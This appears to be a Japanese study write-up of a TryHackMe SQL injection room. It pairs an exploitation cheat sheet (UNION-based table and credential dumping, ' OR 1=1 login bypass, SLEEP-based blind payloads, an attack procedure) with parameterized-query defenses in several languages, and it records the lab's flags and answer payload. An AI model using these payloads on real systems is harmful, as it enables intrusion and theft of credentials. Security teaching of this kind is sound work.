はじめに
ゴール
- SQL/DB の超速おさらい(SELECT/UNION/INSERT/UPDATE/DELETE)
- SQLi の4分類(In-Band/Blind-Boolean/Blind-Time/Out-of-Band)と発見〜搾取(exfil)手順
- 実務での防御レシピ(言語別・具体コード付き)
- クイックチートシート(共通ペイロード、DB製品差分、コメント記法など)
1. SQL とデータベースの最速復習
SQL って何?
Structured Query Language。RDBMS に対してデータの取得(SELECT)・追加(INSERT)・更新(UPDATE)・削除(DELETE) などを行う言語。
DBMS とテーブルの関係
- DBMS(Database Management System):MySQL / PostgreSQL / SQL Server / SQLite など
-
Database:業務ごとに分かれた“箱”(例:
shop) - Table:列(カラム/フィールド)× 行(レコード)の格子状データ
- 主キー(PRIMARY KEY):各行を一意に識別
-
リレーショナル vs. ノンリレーショナル
- Relational(RDB):テーブル同士をキーで関連付け
- NoSQL:ドキュメント/キー・バリュー等(例:MongoDB, Cassandra, Elastic)
SQL 基本文法ダイジェスト(MySQL 風味)
-- 取得
SELECT * FROM users;
SELECT username, password FROM users;
SELECT * FROM users WHERE username = 'admin' AND password = 'p4ssword';
SELECT * FROM users WHERE username LIKE 'a%' LIMIT 10;
-- 結合的に結果を縦連結(列数・型を合わせる)
SELECT name, address FROM customers
UNION
SELECT company, address FROM suppliers;
-- 追加
INSERT INTO users (username, password) VALUES ('bob', 'password123');
-- 更新
UPDATE users SET username='root', password='pass123' WHERE username='admin';
-- 削除(※WHERE を忘れると全消し)
DELETE FROM users WHERE username='martin';
2. SQL Injection とは(1分で掴む)
ユーザー入力が SQL 文にそのまま混入し、クエリの意味(構造)が変わる攻撃。
例)/blog?id=2;-- → ; で文を終わらせ、-- で以降をコメントアウトして公開フラグのチェックを無効化。
-
文の終端:
; -
コメント:
--(後ろに空白推奨) /#//* ... */
3. SQLi の4分類と実践テク
3.1 In-Band(同一チャネルで注入&結果取得)
-
Error-Based:エラー詳細を画面に出す系。
'や"で壊してエラーメッセージから列数やテーブル構造を逆引き。 -
Union-Based:
UNION SELECTで任意の値や情報スキーマを同じページに載せる。
ベース手順(Union-Based)
-
列数の特定:
... id=1 UNION SELECT 1→ エラー
... UNION SELECT 1,2→ まだ
... UNION SELECT 1,2,3→ OK(= 列数 3) -
元結果を無効化:
id=0など存在しない条件へ -
情報の列挙:
- 現在 DB 名:
database() - テーブル一覧:
FROM information_schema.tables WHERE table_schema='…' - カラム一覧:
FROM information_schema.columns WHERE table_name='…' - 見やすく:
GROUP_CONCAT(col SEPARATOR '<br>')
- 現在 DB 名:
典型ペイロード例
0 UNION SELECT 1,2,database();
0 UNION SELECT 1,2, GROUP_CONCAT(table_name)
FROM information_schema.tables
WHERE table_schema='somedb';
0 UNION SELECT 1,2, GROUP_CONCAT(username,':',password SEPARATOR '<br>')
FROM users;
3.2 Blind(画面に結果が出ない。でも手応えは取れる)
A) 認証バイパス(Boolean)
フォームの検証が “存在するか” だけを見ているとき、常真(TRUE)に化けさせる。
' OR 1=1;--
→ WHERE username='' AND password='' OR 1=1 で TRUE
B) Boolean-Based Enumeration
-
true/false の変化だけで列挙。
LIKE 's%’を当てて接頭辞探索。 - 列数が分かったら
UNION SELECTにWHERE <条件>をぶら下げ、**条件が真なら“ある反応”**になるよう実装差を利用。
C) Time-Based Enumeration
- 視覚反応ゼロでも時間差が語る。
SLEEP(5)が効けばヒット。
' UNION SELECT SLEEP(5),2;-- -- 2列テーブルの例
' UNION SELECT SLEEP(5),2 WHERE database() LIKE 'sqli_%';--
3.3 Out-of-Band(OOB)
- 攻撃チャネルと結果取得チャネルを分離(例:HTTP で打って DNS で抜く)。
- 代表:DNS exfil(
LOAD_FILE(),xp_dirtree等の機能や外部呼び出しが鍵)
問:D で始まる exfil プロトコル? → DNS
4. クイック・チートシート
4.1 コメント & 終端
- 終端:
; - コメント:
--(後ろに空白)/#//* … */
4.2 よく使う関数
| 目的 | MySQL | PostgreSQL | SQL Server |
|---|---|---|---|
| 現在 DB 名 | database() |
current_database() |
DB_NAME() |
| 連結 | GROUP_CONCAT() |
string_agg() |
STRING_AGG() |
| スリープ | SLEEP(x) |
pg_sleep(x) |
WAITFOR DELAY '0:0:x' |
4.3 代表ペイロード断片
' OR 1=1;--
' UNION SELECT 1,2,3;--
' UNION SELECT 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database();--
' UNION SELECT SLEEP(5),2;--
5. 実務での防御(これを“デフォルト”に)
5.1 プリペアドステートメント(パラメータ化) — 最優先
構造とデータを分離し、入力でクエリ構造が変わらないようにする。
Python(psycopg2/Postgres)
cur.execute("SELECT * FROM users WHERE username=%s AND password=%s", (u, p))
Node.js(pg)
await client.query("SELECT * FROM users WHERE username=$1 AND password=$2", [u, p]);
Java(JDBC)
var ps = conn.prepareStatement("SELECT * FROM users WHERE username=? AND password=?");
ps.setString(1, u); ps.setString(2, p);
PHP(PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$u, $p]);
Kotlin(Android/Server サイド)
val sql = "SELECT * FROM users WHERE username=? AND password=?"
conn.prepareStatement(sql).use { ps ->
ps.setString(1, u); ps.setString(2, p)
ps.executeQuery()
}
5.2 入力検証(Allow-list)
- 例:ユーザー名は
[a-z0-9_.-]{3,32}のみ - 数値パラメータは 文字列にせず “型” として受け取る
5.3 エスケープ(文字列連結が不可避なら)
- DB ドライバ/ORM の 公式エスケープ API を使う(手書き禁止)
5.4 権限分離・安全設計
-
最小権限の DB ユーザ(
SELECTだけ等) - 機微データはハッシュ化(
password_hash/bcrypt等) - 監査ログと失敗時の情報漏えい抑制(詳細な SQL エラーは出さない)
- ORMs の Query Builder でも Raw SQL の抜け道を監査
心得:“連結したら負け” をチーム共通ルールに。
6. 発見〜搾取の“手順テンプレ”
- 入力点の洗い出し(URL パラメータ/Body/Headers/Cookie/非表示パラメータ/Referer など)
-
ブレイクテスト(
'")など)→ エラー/挙動変化を確認 -
列数発見(
UNION SELECT 1,...で増やす) - 反射位置の特定(どの列が画面に出るか)
- 情報スキーマ列挙(DB名→テーブル→カラム)
-
抽出(
GROUP_CONCATなどで可読化) - Blind 系なら:Boolean/Time を使って 接頭辞探索→フル復元
7. 学習メモ(Try 型演習で押さえるポイント)
※あなたのメモの整理版(フラグ自体は伏せずに記録)。
-
Lv1(Union/Error):
database()→information_schema→GROUP_CONCATで一気に俯瞰- Flag:
THM{SQL_INJECTION_3840}
- Flag:
-
Lv2(Blind 認証回避):
' OR 1=1;--- Flag:
THM{SQL_INJECTION_9581}
- Flag:
-
Lv3(Blind Boolean):
LIKE 's%'で前方一致 → DB/テーブル/カラム → ユーザ列挙- Flag:
THM{SQL_INJECTION_1093}
- Flag:
-
Lv4(Blind Time):
SLEEP(5)/pg_sleep()/WAITFORを UNION に載せる- 最終 Flag:
THM{SQL_INJECTION_MASTER}
Lv4は最も難しいと思います。でも、この前の情報(sqli_three、users、the password is 3845)を利用して完成できます。
UNION SELECT SLEEP(5),2 from users where username= 'admin' and password like '4961%' ;-- - 最終 Flag:
8. よくある“やらかし”と対策ワンライナー
- 文字列連結の検索:禁止。クエリビルダ or パラメトライズへリライト
- “LIKE '%?%'” どうする? → DB 方言のバインド & 連結(
CONCAT('%', ?, '%')など) - “IN (?)” の可変長リスト? → プレースホルダを動的生成(配列長 n 個の
?,...,?) - 管理画面だけだから… → 一番危ない(社内侵入後の横移動の餌食)
まとめ
- SQLi は“構造を壊す攻撃”。入力が SQL 構文に化けた瞬間に負け。
- 発見は Error / Boolean / Time / OOB の 4 レーンで考える。
- 守りは パラメータ化が王者。他は“補助輪”。
- チーム規約として “連結禁止・レビュー必須” を制度化しよう。
未来志向ポイント:生成 AI コパイロット時代でも、SQLi の禁止事項を linters/AST で自動検出、CI でブロックする運用を“標準装備”に。人間のうっかりは機械で守る。